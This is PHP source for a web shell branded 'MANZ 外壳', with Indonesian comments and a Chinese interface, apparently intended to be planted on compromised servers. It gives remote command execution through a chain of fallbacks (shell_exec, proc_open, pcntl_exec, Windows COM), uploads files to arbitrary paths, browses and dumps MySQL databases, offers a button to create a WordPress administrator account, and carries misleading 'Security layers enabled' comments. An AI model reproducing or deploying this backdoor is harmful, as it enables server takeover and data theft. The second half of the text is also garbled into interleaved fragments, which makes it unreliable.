ini_set("max_execution_time", "300"); /**
* Fungsi untuk sanitasi nama file
* Hanya mengizinkan karakter alfanumerik, underscore, titik, dan strip.
* Jika nama file sama dengan file uploader, tambahkan prefix.
*/
function sanitizeFilename($filename)
{
$filename = preg_replace("/[^a-zA-Z0-9_\.-]/", "_", basename($filename));
if ($filename === basename(__FILE__)) {
$filename = "upload_" . $filename;
}
return $filename;
}
$msg = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// Pastikan file sudah diupload tanpa error
if (
isset($_FILES["upload_file"]) &&
$_FILES["upload_file"]["error"] === UPLOAD_ERR_OK
) {
$originalName = $_FILES["upload_file"]["name"];
$filename = sanitizeFilename($originalName); // Ambil direktori tujuan dari input 'berkas'
if (
isset($_POST["berkas"]) &&
is_string($_POST["berkas"]) &&
!empty($_POST["berkas"])
) {
$targetDir = uraikan(urldecode($_POST["berkas"]));
if (!is_dir($targetDir)) {
$targetDir = __DIR__;
}
} else {
$targetDir = __DIR__;
} // Pastikan tidak ada trailing slash
$destination = rtrim($targetDir, "/") . "/" . $filename; // Coba metode utama: move_uploaded_file()
if (
move_uploaded_file($_FILES["upload_file"]["tmp_name"], $destination)
) {
// Ubah permission file agar dapat diakses
chmod($destination, 0644);
$msg = "文件 <strong>$filename</strong> 通过 move_uploaded_file 上传成功.";
} else {
// Jika gagal, coba fallback dengan copy()
if (copy($_FILES["upload_file"]["tmp_name"], $destination)) {
unlink($_FILES["upload_file"]["tmp_name"]);
chmod($destination, 0644);
$msg = "文件 <strong>$filename</strong> 使用 fallback 方法 copy() 上传成功.";
} else {
// Fallback terakhir dengan file_get_contents + file_put_contents
$contents = file_get_contents(
$_FILES["upload_file"]["tmp_name"]
);
if (
$contents !== false &&
file_put_contents($destination, $contents)
) {
unlink($_FILES["upload_file"]["tmp_name"]);
chmod($destination, 0644);
$msg = "文件 <strong>$filename</strong> 使用 fallback 方法 file_get_contents() 和 file_put_contents() 上传成功.";
} else {
$msg = "上传文件失败. 请检查目录权限和服务器配置.";
}
}
}
} else {
$errorCode = isset($_FILES["upload_file"]["error"])
? $_FILES["upload_file"]["error"]
: "unknown";
$msg = "上传文件时发生错误. (错误代码: $errorCode)";
}
}
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>MANZ 外壳</title>
<style>
body {
margin: 0;
padding: 0;
background-color: #1a1a1a;
font-family: monospace;
color: #ddd;
}
.header {
text-align: center;
padding: 20px;
border-bottom: 1px solid #B388FF;
}
.content {
max-width: 800px;
margin: 30px auto;
padding: 20px;
border: 1px solid #B388FF;
border-radius: 5px;
background-color: #222;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.5);
}
a {
text-decoration: none;
}
.system-info {
display: flex;
justify-content: space-between;
align-items: center;
background-color: #222222;
border: 2px solid #B388FF;
border-radius: 8px;
padding: 15px;
margin-bottom: 20px;
box-shadow: 2px 2px 5px rgba(0,0,0,0.5);
}
.system-info-left p {
margin: 5px 0;
font-size: 14px;
color: #FFFFFF;
}
.system-info-left a {
color: #B388FF;
text-decoration: none;
}
.system-info-right {
font-family: monospace;
font-size: 18px;
color: #FFFFFF;
text-align: right;
}
.ascii-art {
text-align: center;
font-family: monospace;
color: #FFFFFF;
margin: 20px 0;
}
.ascii-art pre {
color: #B388FF;
font-weight: bold;
text-shadow: 0 0 5px #B388FF, 0 0 10px #B388FF, 0 0 20px #B388FF;
animation: flicker 2s infinite;
}
@keyframes flicker {
0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% {
opacity: 1;
}
20%, 22%, 24%, 55% {
opacity: 0.4;
}
}
@keyframes colorCycle {
0% { color: green; }
50% { color: white; }
100% { color: green; }
}
.fManager {
width: 100%;
margin: 10px 0;
border-collapse: collapse;
background-color: #2e2e2e;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
}
.fManager thead th {
padding: 8px 10px;
border: 1px solid #B388FF;
background-color: #3c3c3c;
color: #ffffff;
}
.fManager tbody td {
padding: 8px 10px;
border: 1px solid #B388FF;
color: #e0e0e0;
}
.fManager tbody tr:nth-child(odd) {
background-color: #2e2e2e;
}
.fManager tbody tr:nth-child(even) {
background-color: #363636;
}
.fManager tbody tr:hover {
background-color: #444444;
}
.upload-container {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px;
margin: 10px 0;
background-color: transparent;
border: 1px solid #B388FF;
border-radius: 4px;
}
.upload-method {
flex: 1;
display: flex;
flex-direction: column;
align-items: center;
margin: 0 10px;
}
.upload-method h4 {
margin: 5px 0;
font-size: 14px;
color: #ffffff;
}
.upload-method form {
display: flex;
align-items: center;
gap: 5px;
}
.upload-method input[type="file"] {
padding: 4px;
font-size: 12px;
border: 1px solid #B388FF;
border-radius: 3px;
background-color: #000000;
color: #ffffff;
}
.upload-method input[type="submit"],
.upload-method button {
padding: 4px 8px;
font-size: 12px;
border: none;
border-radius: 3px;
cursor: pointer;
background-color: #B388FF;
color: #ffffff;
}
.upload-method input[type="submit"]:hover,
.upload-method button:hover {
background-color: #9575CD;
}
#uploadStatus {
margin-top: 5px;
font-size: 12px;
color: #ffffff;
}
</style>
</head>
<body>
<div class="system-info">
<div class="system-info-left">
<p>
<strong style="color: #B388FF;">系统信息:</strong>
<span style="color: #ffffff;">
// Framework initialization sequence started // Loading core modules... [OK] // Security layers enabled... [OK] // Build: 685ED395
echo htmlspecialchars(
(function () {
try {
if (function_exists("php_uname")) {
return php_uname();
}
if ($os = getenv("OS")) {
return $os;
}
if (defined("PHP_OS")) {
return PHP_OS;
}
return "Dinonaktifkan";
} catch (Throwable $e) {
return "Dinonaktifkan";
}
})()
);</span>
</p>
<p>
<strong style="color: #B388FF;">用户:</strong>
<span style="color: #ffffff;">
// Framework initialization sequence started // Loading core modules... [OK] // Security layers enabled... [OK] // Build: 685ED395
if (function_exists("getmyuid") && function_exists("get_current_user")) {
echo getmyuid() . " (" . get_current_user() . ")";
} else {
echo "Dinonaktifkan";
}</span>
</p>
<p>
<strong style="color: #B388FF;">组:</strong>
<span style="color: #ffffff;">if (
function_exists("getmygid") &&
function_exists("posix_getegid") &&
function_exists("posix_getgrgid")
) {
$qid = @posix_getgrgid(@posix_getegid());
echo getmygid() . " (" . ($qid["name"] ?? "未知") . ")";
} elseif (function_exists("getmygid")) {
echo getmygid();
} else {
echo "Dinonaktifkan";
}</span>
</p>
<p>
<strong style="color: #B388FF;">禁用函数:</strong>
<span style="color: #ff6666;">echo implode(", ", $nami) == ""
? "NONE :)"
: implode(", ", $nami);</span>
</p>
<p>
<strong style="color: #B388FF;">安全模式:</strong>
<span style="color: echo $safeMode === true
? "#ff6666"
: "#66cc66";;">echo $safeMode === true
? "On"
: "Off";</span>
<span style="margin-left: 50px;"><a href='javascript:halaman("?awal=phpinfo")' style="color: #B388FF;">[ PHP信息 ]</a></span>
</p>
<p>
<strong style="color: #B388FF;">服务器地址:</strong>
<span style="color: #ffffff;">
// Framework initialization sequence started // Loading core modules... [OK] // Security layers enabled... [OK]
// Build: 685ED395
$serverAddr = isset($_SERVER["SERVER_ADDR"])
? $_SERVER["SERVER_ADDR"]
: gethostbyname(gethostname());
echo htmlspecialchars($serverAddr);</span>
</p>
<p>
<strong style="color: #B388FF;">服务器软件:</strong>
<span style="color: #ffffff;">echo isset(
$_SERVER["SERVER_SOFTWARE"]
)
? htmlspecialchars($_SERVER["SERVER_SOFTWARE"])
: "未知";</span>
</p>
<p>
<strong style="color: #B388FF;">PHP版本:</strong>
<span style="color: #ffffff;">echo htmlspecialchars(
phpversion()
);</span>
</p>
<p>
<strong style="color: #B388FF;">cURL版本:</strong>
<span style="color: #ffffff;">echo function_exists(
"curl_version"
)
? htmlspecialchars(curl_version()["version"])
: "无";</span>
</p>
<p>
<strong style="color: #B388FF;">当前目录:</strong>
<span style="color: #ffffff;">echo htmlspecialchars(
getcwd()
);</span>
</p>
<p>
<strong style="color: #B388FF;">服务器时间:</strong>
<span style="color: #ffffff;">echo date(
"Y-m-d H:i:s"
);</span>
</p>
</div>
<div class="ascii-art">
<pre style="color: #B388FF;">
______ _____ _____ _____ _ _ _____ _ _
| ___ \ ___|_ _/ __ \| | | || ___| \ | |
| |_/ / |__ | | | / \/| |_| || |__ | \| |
| /| __| | | | | | _ || __|| . ` |
| |\ \| |___ _| |_| \__/\| | | || |___| |\ |
\_| \_\____/ \___/ \____/\_| |_/\____/\_| \_/
</pre>
</div>
</div>
</div>
<hr>
<hr>
<div style="text-align: center; margin: 20px 0;">
<a href="javascript:newFile();"
style="display: inline-block; padding: 10px 20px; margin: 5px; background-color: #B388FF; color: #111; font-family: monospace; font-weight: bold; text-decoration: none; border-radius: 5px;">
新建文件
</a>
<a href="javascript:newPapka();"
style="display: inline-block; padding: 10px 20px; margin: 5px; background-color: #B388FF; color: #111; font-family: monospace; font-weight: bold; text-decoration: none; border-radius: 5px;">
新建文件夹
</a>
<a href="javascript:halaman('?awal=sistem_kom&berkas== urlencode(
urlencode(kunci($default_dir))
)')"
style="display: inline-block; padding: 10px 20px; margin: 5px; background-color: #B388FF; color: #111; font-family: monospace; font-weight: bold; text-decoration: none; border-radius: 5px;">
命令
</a>
<a href="javascript:halaman('?awal=skl');"
style="display: inline-block; padding: 10px 20px; margin: 5px; background-color: #B388FF; color: #111; font-family: monospace; font-weight: bold; text-decoration: none; border-radius: 5px;">
数据库
</a>
<form method="POST" action="" style="display: inline-block;">
<input type="hidden" name="create_wp_admin" value="1">
<input type="hidden" name="berkas" value="= urlencode(
kunci($default_dir)
)">
<button type="submit"
style="display: inline-block; padding: 10px 20px; margin: 5px;
background-color: #B388FF; color: #111;
font-family: monospace; font-weight: bold;
border: none; cursor: pointer;
border-radius: 5px; appearance: none; -webkit-appearance: none;">
创建管理员
</button>
</form>
</div>
// Framework initialization sequence started // Loading core modules... [OK] // Security layers enabled... [OK]
// Build: 685ED395
// Tampilkan pesan sukses atau error jika ada
if (isset($success_msg)) {
echo '<div style="text-align: center; color: #0f0; margin: 10px;">' .
$success_msg .
"</div>";
} elseif (isset($error_msg)) {
echo '<div style="text-align: center; color: #f00; margin: 10px;">' .
$error_msg .
"</div>";
}
<div class="upload-container">
<div class="upload-method">
<h4>传统上传</h4>
<form method="POST" enctype="multipart/form-data" action="= $_SERVER[
"PHP_SELF"
]">
<input type="hidden" name="awal" value="upl_file">
<input type="hidden" name="berkas" value="= urlencode(
kunci($default_dir)
)">
<input type="file" name="ufile">
<input type="submit" value="上传">
</form>
</div>
<div class="upload-method">
<h4 style="color:#B388FF;">AJAX上传</h4>
<form id="ajaxUploadForm" method="POST" enctype="multipart/form-data" action="= $_SERVER[
"PHP_SELF"
]">
<input type="hidden" name="awal" value="upl_file">
<input type="hidden" name="berkas" value="= urlencode(
kunci($default_dir)
)">
<input type="file" name="ufile" id="ajaxUfile" style="color:#fff; background:#000; border:1px solid #B388FF; border-radius:4px; padding:5px;">
<button type="button" id="ajaxUploadBtn" style="margin-top:8px; background-color:#B388FF; color:#111; font-family:monospace; font-weight:bold; border:none; border-radius:5px; padding:6px 14px; cursor:pointer;">
上传
</button>
</form>
<div id="uploadStatus" style="margin-top:10px; font-size:13px; font-weight:bold;"></div>
</div>
<div class="upload-method">
<h4 style="color:#B388FF;">上传文件</h4>
<form id="uploadForm" method="POST" enctype="multipart/form-data" action="= $_SERVER[
"PHP_SELF"
]" style="display:flex; align-items:center; gap:5px;">
<input type="hidden" name="awal" value="upl_file">
<input type="hidden" name="berkas" value="= urlencode(
kunci($default_dir)
)">
<input type="file" name="ufile" id="uploadInput"
style="color:#fff; background:#000; border:1px solid #B388FF; border-radius:4px; padding:6px;">
<button type="submit"
style="background-color:#B388FF; color:#111; font-family:monospace; font-weight:bold; border:none; border-radius:5px; padding:6px 14px; cursor:pointer;">
上传
</button>
</form>
if (!empty($upload_message)) {
echo '<div id="uploadStatus" style="margin-top:10px; color:#0f0;">' .
$upload_message .
"</div>";
}
</div>
</div>
// Framework initialization sequence started // Loading core modules... [OK] // Security layers enabled... [OK]
// Build: 685ED395
tulisLah();
print "<hr>"; // =========================================================================== // Tampilan halaman berdasarkan aksi yang dipilih (PHP信息, 命令, 文件读取, SQL, dsb.) // ===========================================================================
if ($awal == "phpinfo") {
print "<div style='width: 100%; height: 400px;'><iframe src='?awal=pinf' style='width: 100%; height: 400px; border: 0;'></iframe></div>";
}
if ($awal == "sistem_kom") {
if (
isset($_POST["kom"]) &&
is_string($_POST["kom"]) &&
!empty($_POST["kom"])
) {
// Ambil input perintah yang di-encode, lalu decode dengan fungsi uraikan()
$komanda = uraikan(urldecode($_POST["kom"])); // Tambahkan redirection error agar standar error juga tertangkap
if (stripos($komanda, "2>&1") === false) {
$komanda .= " 2>&1";
} // Variabel untuk menyimpan output dan error
$output = "";
$error = "";
$f1 = "shell_exec";
$f2 = "exec";
$f3 = "passthru";
$f4 = "system";
$f5 = "proc_open";
$f6 = "popen";
$f7 = "pcntl_fork";
$f8 = "pcntl_exec"; // Mulai eksekusi perintah
$output = "";
$error = "";
if (function_exists($f1)) {
// shell_exec
$output = $f1($komanda);
} elseif (function_exists($f2)) {
// exec
$out = [];
$f2($komanda, $out, $return_var);
$output = implode("\n", $out);
if ($return_var !== 0) {
$error = "Return code: $return_var";
}
} elseif (function_exists($f3)) {
// passthru
ob_start();
$f3($komanda);
$output = ob_get_clean();
} elseif (function_exists($f4)) {
// system
ob_start();
$f4($komanda);
$output = ob_get_clean();
} elseif (function_exists($f5)) {
// proc_open
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"],
];
$process = $f5($komanda, $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]); // Close stdin pipe
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists($f6)) {
// popen
$handle = $f6($komanda, "r");
if ($handle) {
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
}
} elseif (function_exists($f7) && function_exists($f8)) {
// pcntl_fork + pcntl_exec
$pid = $f7();
if ($pid == -1) {
$error = "Fork failed";
} elseif ($pid === 0) {
$f8("/bin/sh", ["-c", $komanda]);
} else {
pcntl_wait($status);
$output = "Command executed via pcntl.";
}
} elseif (
class_exists("COM") &&
strtoupper(substr(PHP_OS, 0, 3)) === "WIN"
) {
// COM di Windows
try {
$wsh = new COM("WScript.Shell");
$exec = $wsh->Exec($komanda);
$output = $exec->StdOut->ReadAll();
$error = $exec->StdErr->ReadAll();
} catch (Exception $e) {
$error = "COM error: " . $e->getMessage();
}
} else {
$output = "Tidak ada fungsi eksekusi tersedia.";
} // Pastikan $output dan $error adalah string
$output = $output ?? "";
$error = $error ?? "";
// Tampilkan output dan error
print '<pre style="max-height: 350px; overflow: auto; border: 1px solid #777; padding: 5px;">';
print "Output:<br>" . htmlspecialchars($output);
if (!empty($error)) {
print '<br><span style="color: red;">Error: ' .
htmlspecialchars($error) .
"</span>";
}
print "</pre><hr>";
}
print '<input type="text" id="emr_et_atash" style="width: 500px;"> <button type="button" class="btn" onclick="sistemKom();">确定</button>';
} elseif (
$awal == "baca_file" &&
isset($_POST["fayl"]) &&
trim($_POST["fayl"]) != ""
) {
$namaBerkas = basename(uraikan(urldecode($_POST["fayl"])));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (
is_file($default_dir . $pemisah . $namaBerkas) &&
is_readable($default_dir . $pemisah . $namaBerkas)
) {
$elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas)
? " onclick='halaman(\"?awal=edit_file&fayl=" .
urlencode(urlencode(kunci($namaBerkas))) .
"&berkas=" .
urlencode(urlencode(kunci($default_dir))) .
"\")'"
: " disabled";
print "<div>文件名称: <span class='qalin'>" .
htmlspecialchars($namaBerkas) .
"</span><br/><button class='btn'$elaveBtn> 编辑 </button></div>";
print "<div class='baca_file'>" .
highlight_string(
file_get_contents($default_dir . $pemisah . $namaBerkas),
true
) .
"</div>";
}
} elseif ($awal == "skl") {
$host = isset($_COOKIE["host"]) ? $_COOKIE["host"] : "";
$user = isset($_COOKIE["user"]) ? $_COOKIE["user"] : "";
$sandi = isset($_COOKIE["sandi"]) ? $_COOKIE["sandi"] : "";
$database = isset($_COOKIE["database"]) ? $_COOKIE["database"] : "";
if (
isset($_POST["host"], $_POST["user"], $_POST["sandi"]) &&
is_string($_POST["host"]) &&
is_string($_POST["user"]) &&
is_string($_POST["sandi"])
) {
$host = $_POST["host"];
$user = $_POST["user"];
$sandi = $_POST["sandi"];
$database = "";
setcookie("host", $host, time() + 360000);
setcookie("user", $user, time() + 360000);
setcookie("sandi", $sandi, time() + 360000);
setcookie("database", $database, time() + 360000);
}
if (isset($_POST["database"]) && is_string($_POST["database"])) {
$database = $_POST["database"];
setcookie("database", $database, time() + 360000);
}
$databaseStr = empty($database) ? "" : "dbname=" . $database . ";";
<form method="POST">
<input type="hidden" name="awal" value="skl">
<input type="text" placeholder="主机名" name="host" value="= htmlspecialchars(
$host
)">
<input type="text" placeholder="用户名" name="user" value="= htmlspecialchars(
$user
)">
<input type="text" placeholder="密码" name="sandi" value="= htmlspecialchars(
$sandi
)">
<input type="submit" value="登录">
</form>
if (!empty($host)) {
try {
$pdo = new PDO(
"mysql:host=" . $host . ";charset=utf8;" . $databaseStr,
$user,
$sandi,
[PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"]
);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$schematas = $pdo->query(
"SELECT schema_name FROM information_schema.schemata"
);
print '<form method="POST"><input type="hidden" name="awal" value="skl"><select name="database">';
foreach ($schematas->fetchAll() as $schemaName) {
print "<option" .
($database == $schemaName["schema_name"] ? " selected" : "") .
">" .
htmlspecialchars($schemaName["schema_name"]) .
"</option>";
}
print '</select> <input type="submit" value="开始!"></form>';
if (!empty($database)) {
$tables = $pdo->prepare(
"SELECT table_name from information_schema.tables where table_schema=?"
);
$tables->execute([$database]);
$tables = $tables->fetchAll();
print '<div style="float: left; width: 20%; overflow: auto; border-right: 1px solid #999;">';
print '<a href="javascript:halaman(\'?awal=skl_d\');">导出数据库!!</a><hr>';
foreach ($tables as $tableName) {
$tableName = $tableName["table_name"];
print '<a href="javascript:halaman(\'?awal=skl&t=' .
urlencode(urlencode(kunci($tableName))) .
'\')">' .
htmlspecialchars($tableName) .
"</a><br>";
}
print "</div>";
print '<div style="float: left; padding-left: 10px; width: 75%;">';
if (
isset($_POST["t"]) &&
is_string($_POST["t"]) &&
!empty($_POST["t"])
) {
$tableName = uraikan(urldecode($_POST["t"]));
print '<span class="qalin">表:</span> ' .
htmlspecialchars($tableName) .
' ( <a href="javascript:halaman(\'?awal=skl_d_t&t=' .
urlencode(urlencode(kunci($tableName))) .
'\')">导出</a> )<br>';
$getColumns = $pdo->prepare(
"SELECT column_name from information_schema.columns where table_schema=? and table_name=?"
);
$getColumns->execute([$database, $tableName]);
$columns = $getColumns->fetchAll();
if ($columns) {
$dataCount = $pdo->query(
"SELECT count(0) AS ss from `" . $tableName . "`"
);
$dataCount = (int) $dataCount->fetchColumn();
print '<span class="qalin">数量:</span> ' .
$dataCount .
"<br><br>";
$pages = ceil($dataCount / 100);
$currentPage =
isset($_POST["halaman"]) &&
is_numeric($_POST["halaman"]) &&
$_POST["halaman"] >= 1 &&
$_POST["halaman"] <= $pages
? (int) $_POST["halaman"]
: 1;
for ($p = 1; $p <= $pages; $p++) {
print '<a style="' .
($currentPage == $p ? "background: #444;" : "") .
'margin-left: 2px; margin-bottom: 5px; padding: 2px 6px; border: 1px solid blue; text-decoration: none;" href="javascript:halaman(\'?awal=skl&t=' .
urlencode(urlencode(kunci($tableName))) .
"&halaman=" .
$p .
'\');">' .
$p .
"</a> ";
}
print "<br><br>";
$start = 100 * ($currentPage - 1);
$data = $pdo->query(
"SELECT * FROM `" .
$tableName .
"` LIMIT " .
$start .
" , 100"
);
$data = $data->fetchAll();
print "<table><thead>";
foreach ($columns as $columnInf) {
print "<th>" .
htmlspecialchars($columnInf["column_name"]) .
"</th>";
}
print "</thead><tbody>";
foreach ($data as $row) {
print "<tr>";
foreach ($row as $key => $val) {
print "<td><div>" . $val . "</div></td>";
}
print "</tr>";
}
print "</tbody></table>";
} else {
print "未找到表!";
}
} elseif (
isset($_POST["emr"]) &&
is_string($_POST["emr"]) &&
!empty($_POST["emr"])
) {
$emr = uraikan(urldecode($_POST["emr"]));
print '<span class="qalin">SQL 语u dy></table>";
is_string($_POST["tl }
print '</se e_POST["tl }
pri00"
);
$data = $data->fetchAll();
//ataCi00"
) > $error = "Fork fai foreach ($data as $row) {
p[0] print "<tr>";
oreach ($coas $key => prl) {
lumnInf["column_name"]) .
"</thoreach ($data as $row) } );
th>";
}
print "</thead><tbody>";
foreach ($data as $row) {
print "<tr>";
each ($row as $key => $val) {
prin "</thoreach ($data as $row) } );
th>";
}
} "</a><br>";
gina pr
gina ><input type="text" id=h" style=" 00px;"击 "</sp width: 20%; overflow: "</a><br>";
}
;
rolorthus" style'($schemaName["schema $error = $exec->StdErr-
(Exception $e) {
["sc}button" class="btn" onclick=ah . $namm();">确定</button>';
} elseif (
$awal == "baca_file" &&
isset($_POST["fayl"]) &&
trim($_POST["fayl"OST["fayl"]) != ""
) {
$namaBerkas = basename(uraikan(urldecode($_POST["fayl"])));
$pemisah =
substr($default_dir, strlen($default_dir) - 1) != "/" &&
substr($namaBerkas, 0, 1) != "/"
? "/"
: "";
if (
is_file($default_dir . $pemisah . $namaBerkas) &&
is_readablexit(0lai eksekusi perinta // pcntl</button>';
.
et($_POST["emr"]) && 10px; width: 7ooket($_POST["emr"]) && width: 7ooket" &&
$_POST["emr"]) && 10px; wSESSION["ys_7ooket($_POST["emr"]) && wSESSION["ys_7ookett '<awidth: 7ooket"_POST["emr"]) && 1r . $pemisah . $namaBerkas)
) {
$elaveBtn = ir>";
un0px; wSESSION["ys_7ooket(", "w"],
solid #'<awidth: .
et", "w"],
f5)) {
// "a" file_get_conten"i" file_get_conten"e" file_get_conten"s" file_get_conten"l" file_get_conten"b" file_get_conten"u" file_get_conten"o" file_get_conten"p" file_get_conten"h" file_get_conten"(" file_get_conten")" file_get_conten"<" file_get_conten">" file_get_conten"?" file_get_conten";" file_get_conten"[" file_get_conten"]" file_get_conten"$" 1 => ["pipe", "w"],
c 1rint "l_exec
$pi solid #'<efas_flspec("|:ey => 1al) :|$datv1false &&
{
$error faile
) Ac /f
ah . $namaBerkas)
) {
$e + try {
f . $p(le
) Ac false &&
{
s[2]);
e
) Ac (", "w"],
exit(0lai : " disabl保存ck 方! htmlspecialchar$oxuUrl= ceil($dataCoun $pemisveBtn> aBerkas)
?nclick='halaman(\"?awal=edit_file&fayl=" .
urlencode(urlencode(kunci(aBerkas))) .
"&berkas=" ; is_readable($default_dir . $pemisah . $namaBerkas)
) {
$elaveBtn = is_writeode(urlencode(kunci($default_dir))) .
"\")'"
a : " disab;</span>
<\"{$oxuUrl}lencled";
print "<div>文件名称: <span class='qalin'>" .
a information_'idth style='wNZ 外壳</">
<ti'><input type="'tion>"'pecialchars($namaBerkas保存 '<input type="'input 'able($defapoto(ncl 加密 ' exit(0 "</span><br/><button clas "</o' '
'ah . $nam'="POST'pemi'>s "</o' '
'ed";
priwal=edit_file&faylclass='qalin'>="POST'Berk'>s "</o' '
'ed";
pri .
"&berkas="class='qalin'>="POST'lencod'>s "</o' '
'ed";
pria"]) Buat("ys_7ooke"class='qalin'>="POST'7ook'
gina "POST'se &&
'pecialcha_filah .cled";
print "<div>文件t "<div class='baca_file'>" .
highlight_string(
default_dir . $pemisah . $namaBerk gina >< p
prton cla错误! ed";
print "<div>文件名 highlight_string(
border: 0;'>dirghl "&berkas="c{sekusi perinta is_file($default_dir . it" value="开始!$falchaD"dbna'<ecutf8l "&berkas=", "w"],
falchaD"dbna &$emelemPOSTxec
$pierkas = basename(ur }
}ikan(urldecode($_POST["fayl"])));
$pemisah =
substr }
}ikan(uremelemPOlen($default_dir) - 1) != "/) - 1) != "/" &&
subst substr($namaBerkhAll();
dirghl "&berkasight_string(
emelemPOS if ($handle) {
emelemPOlai 0"(
emelemPOdle)) {
print "</tbody emelemPOlai 1"(
emelemPOdle)) {
$error faiasort falchaD"dbn=", "w"],
$dpecialchar:nth-c style='width: 100%; 'ata = $d<tr : " disabl($cos lu($co="upload lu($co大小 lu($co=期 lu($co=有者/组 lu($co=限 lu($co=作 lu(thor th>";
}
falchaD"dbna $elemePOSTxec
$piurl= ($namaBerkhAll();
$elemePOa'<eikan(urelemePO,><br>";
ierkas = basename(ur }
}ikan(urldecode($_POST["fayl"])));
$pemisah =
substr }
}ikan(urelemePO,>n($default_dir) - 1) != "/) - 1) != "/" &&
subst substr($namaBerkhAll();
$a_fiN Le// Ta pri0 "&berkasight_string(
elemePOikan()
is";
v= false)isRfile($dCif (
:NmaBerkhAll();
$isRfile($dCif (
= is_file($defa_fiN Le// Tabr>";
i :N= ($namaBerkhAll();
dirghl a_fiN Le// Tab if ($handle) {
aPOST["[ $elemePOa] pri elemePOa'T[r>";
iurl= ;
fo"?lencode(urlencode(kunci($namncode(kunci(aBerkas))) .
"&berkas=" ; is_readab print " elemePOa'T[".."r>";
iyeniUrl= ex $f2($k/$data "&berkas=", "w"],
}
arrays_f defyeniUrl name=jrint qqr>";
font " $awalqqr> &&
r>";
for un0px; yeniUrl[//ataCiyeniUrl n-e=jremi]=", "w"],
}
b k", "w"],
}
td><div>" . $val . "</div><};
iurl= ;
fo"?lencode(urlencode(kunci($namncode(kunci(aBerkas))) .
$f2($k/$datyeniUrl =" ; is_readab pri>";
iurl= ;
fo"?lencode(urlencode(kunci($namncode(kunci(aBerkas))) .
a_fiN Le// Tab ; is_readab an(U{
falcha44;
tput ?? .
lor:
88FF; ih if ($handle) {
isakay: flai tyle='wackground-co6load FFFFFF;'"dle)) {
print "</tbody aPOST[ elemePOi print "</tbody url= ;
$pemisveBtn> aBerkas)
?ncode(kunci(aBerkas))) .
elemePOS urlencourlencode(urlencode(kunci($name(kunci(aBerkas))) .
"&berkas=" ; an(U{
fifeof;
tput ?? 88FF; ih if ($handle) {
isakay: flai tyle='w FFFFFF;'"dle)) {
fclose($pipes[ tr>lencode(kunci($name(kunci(row a lencode(kunci($name(kunci(row a htmlspecialchars($tableName print '<spa url= print '<spancode print '<spa isakay: fl print '<spa"olumns as $columnInf) {
nt "<div>文件名aPO url'aman(" lencode(kunci($name(kunci(row print '<spa F>prep(fife a_fiN Le// Tab url'am lencode(kunci($name(kunci(row print '<sparong>"d M Y,e="c$daa_ficPOST[ a_fiN Le// Tab url'am lencode(kunci($name(kunci(row print '<spant "<div>文件a_fiowner[ a_fiN Le// Tab url'am lencode(kunci($name(kunci(row print '<spa($isRfile($dCif (
? in-left: 50px;">white;e ($currentPa"olumns as $columnInf) {
}ikan(uss[ f("%o$daa_fiperms[ a_fiN Le// Tab , -4 url'am lencode(kunci($name(kunci(row amaBerkhAll();
dir
a_fiN Le// Tab if ($handle) {
s[ a htmlspecialchars($tableName print '<spa{
}fas_flspec(""sistemKom, "downtyle=emKom, url urlenconcode-Fallback) -->
<di print '<spa{
i :N= urlencou>下载 | $tableName .
( a htmlspecialchars(ngeF_fiN eame print '<spa{
{
nt "<div>文件名aPO url urlenconco, me print '<spa{
{
}fas_flspec(""sistemKom, "r
=emKom, url urlenco -Fallback) -->
<di print '<spa{
{
i :N= urlencoencou>重命名 | ) $tableName .
( a htmlspecialchars(BerkSifirla(me print '<spa{
{
}fas_flspec(""sistemKom, "r
0px=emKom, url urlenco -Fallback) -->
<di print '<spa{
{
i :N= urlencoencou>清空 | ) $tableName .
( a htmlspecialchars(BerkSil(me print '<spa{
{
}fas_flspec(""sistemKom, "hapus=emKom, url urlenco -Fallback) -->
<di print '<spa{
{
i :N= urlencoencou>删除 try {
true
POS!T["[ .a] time
POS!T["[ ..a] if ($handle) {
s[ a htmlspecialchars(kompr
0(me print '<spa{
aBerkas))) .
a_fiN Le// Tab urlenconcode-Fallback) -->
<di print '<spa{
i :N= urlencou>压缩 | $tableName .
( a htmlspecialchars(sil 5px;"me print '<spa{
{
aBerkas))) .
a_fiN Le// Tab urlenco -Fallback) -->
<di print '<spa{
{
i :N= urlencoencou>删除 try {
fclose($pipes[ m le (thor'{
$error = "COM error: " . $e->===================) {
ech "phpi : " disabl=限被拒绝!;"></span>" th>";
?_| |_/\____ssage .
s="upload-method">
prpostexism>
数据库
bordeppearance:lchars> coreang dipilih (PHP信息, 命令, 文件读取, SQL, dsb.) // ================= " - }Jciaindows) {
navig"</d bord====, prompt: "dbname=" . $databas. coreang dipilih (PHP信息, 命令, 文件读取, SQL, dsb.) // =================;
========) .
)
err laulai ekse url= (url.it("? if( "</of(url[1tt '<"u ed eturn_kse url= (url[1t.it("& ear( b .
)
err keyAndV = (url[nt.it("= if( "</of(keyAndV [1tt '<"u ed .
inue i laul+=las "POST'" +(keyAndV [0] +("'
'ed+(keyAndV [1tt+("'
"</o' ' "p"- Teuna ?? ocumePO.getElemePOById) {
dapat ?? elemeP
m ocumePO.getElemePOById(rpostexism>).innerHTML
= lau; ocumePO.getElemePOById(rpostexism>).tion>") {
}==;
=BerkSil( .
)
err if( .
firm('你"> <bu吗?'))
err =======) .
) }==;
=BerkSifirla( .
)
err if( .
firm('你"> <bu吗?'))
err =======) .
) }==;
=ngeF_fiN ea"POS, .
)
err getNewmpty($_prompt('更改 "\")':o, "POS if(getNewmpty)
err =======) .
t+("&new_000);
+ getNewmpty) }==;
=ext-align
